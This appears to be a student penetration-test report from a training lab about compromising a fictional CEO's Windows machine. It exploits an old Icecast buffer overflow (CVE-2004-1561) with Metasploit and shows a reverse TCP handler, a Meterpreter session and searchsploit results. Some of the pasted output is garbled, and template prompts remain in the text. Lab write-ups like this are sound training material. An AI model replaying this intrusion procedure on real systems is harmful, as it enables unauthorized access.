# **GoodSecurity Penetration Test Report**

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## High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

## Findings

Machine IP:

Machine's IP address

192.168.0.20

Hostname:

Actual name of the machine

Vulnerability Exploited:

The name of the script or Metasploit module used\

```
msf5 exploit(
                                          ) > run
Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49720) at 2021-03-29 20:45:13 -070
meterpreter > whoami
   Unknown command: whoami.
meterpreter > ls
Listing: C:\Program Files (x86)\Icecast2 Win32
                          Type Last modified
100777/rwxrwxrwx 512000 fil 2004-01-08 07:26:45 -0800 Icecast2.exe
40777/rwxrwxrwx 0 dir 2020-04-15 11:49:53 -0700 admin
40777/rwxrwxrwx 0 dir 2020-04-15 11:49:53 -0700 doc
100666/rw-rw-rw- 3663 fil 2004-01-08 07:25:30 -0800 icecast.xml
40777/rwxrwxrwx 0
100666/rw-rw-rw- 53299
100666/rw-rw-rw- 2390
                          dir
fil
                                 2020-04-15 11:49:53 -0700 logs
                                 2002-03-23 07:48:14 -0800
                                                             pthreadVSE.dll
                          fil 2020-04-15 11:49:53 -0700 unins000.dat
100777/rwxrwxrwx 71588 fil 2003-04-14 02:00:00 -0700 unins000.exe
40777/rwxrwxrwx 0
                           dir 2020-04-15 11:49:53 -0700 web
<u>meterpreter</u> >
```

Icecast\_header

Vulnerability Explanation:

Explain the vulnerability as best you can by explaining the attack type (i.e. is it a heap overflow attack, buffer overflow, file inclusion, etc.?) and briefly summarize what that attack is (Might need Google's help!)

```
Basic options:
  Name
          Current Setting Required Description
                                     The target host(s), range CIDR identifier, or hosts file with sy
  RHOSTS
ntax 'file:<path>'
  RPORT 8000
                           yes
                                     The target port (TCP)
Payload information:
  Space: 2000
  Avoid: 3 characters
Description:
  This module exploits a buffer overflow in the header parsing of
  icecast versions 2.0.1 and earlier, discovered by Luigi Auriemma.
  Sending 32 HTTP headers will cause a write one past the end of a
  pointer array. On win32 this happens to overwrite the saved
  instruction pointer, and on linux (depending on compiler, etc) this
  seems to generally overwrite nothing crucial (read not exploitable).
  This exploit uses ExitThread(), this will leave icecast thinking the
  thread is still in use, and the thread counter won't be decremented.{
m I}
  This means for each time your payload exits, the counter will be
  left incremented, and eventually the threadpool limit will be maxed.
  So you can multihit, but only till you fill the threadpool.
References:
  https://cvedetails.com/cve/CVE-2004-1561/
  OSVDB (10406)
  http://www.securityfocus.com/bid/11271
  http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html
                                    eader) >
msf5 exploit(
```

#### Info...a buffer overflow(read above)

Severity:

In your expert opinion, how severe is this vulnerability?

#### **HIGH VULNERABILITY**

**Proof of Concept:** 

This is where you show the steps you took. Show the client how you exploited the software services. Please include screenshots!

```
:~# searchsploit Icecast
Exploit Title
                                                                       | Path
       1.1.x/1.3.x - Directory Traversal
                                                                        multiple/remote/20972.txt
       1.1.x/1.3.x - Slash File Name Denial of Service
                                                                         multiple/dos/20973.txt
       1.3.7/1.3.8 - 'print client()' Format String
                                                                        windows/remote/20582.c
       1.x - AVLLib Buffer Overflow
                                                                        unix/remote/21363.c
       2.0.1 (Win32) - Remote Code Execution (1)
                                                                        windows/remote/568.c
       2.0.1 (Win32) - Remote Code Execution (2)
                                                                        windows/remote/573.c
       2.0.1 (Windows x86) - Header Overwrite (Metasploit)
2.x - XSL Parser Multiple Vulnerabilities
                                                                       | windows x86/remote/16763.rb
                                                                         multiple/remote/25238.txt
       server 1.3.12 - Directory Traversal Information Disclosure | linux/remote/21602.txt
```

## Recommendations

### What recommendations would you give to GoodCorp?

Throw the server in the trash and upgrade company infrastructure and data to Amazon Web Service along with using Crowdstrike for cybersecurity. While that might not be a financial possibility for the company, maybe a software patch or update(if available) to prevent such exploits from happening in the future is more inline with the company's budget.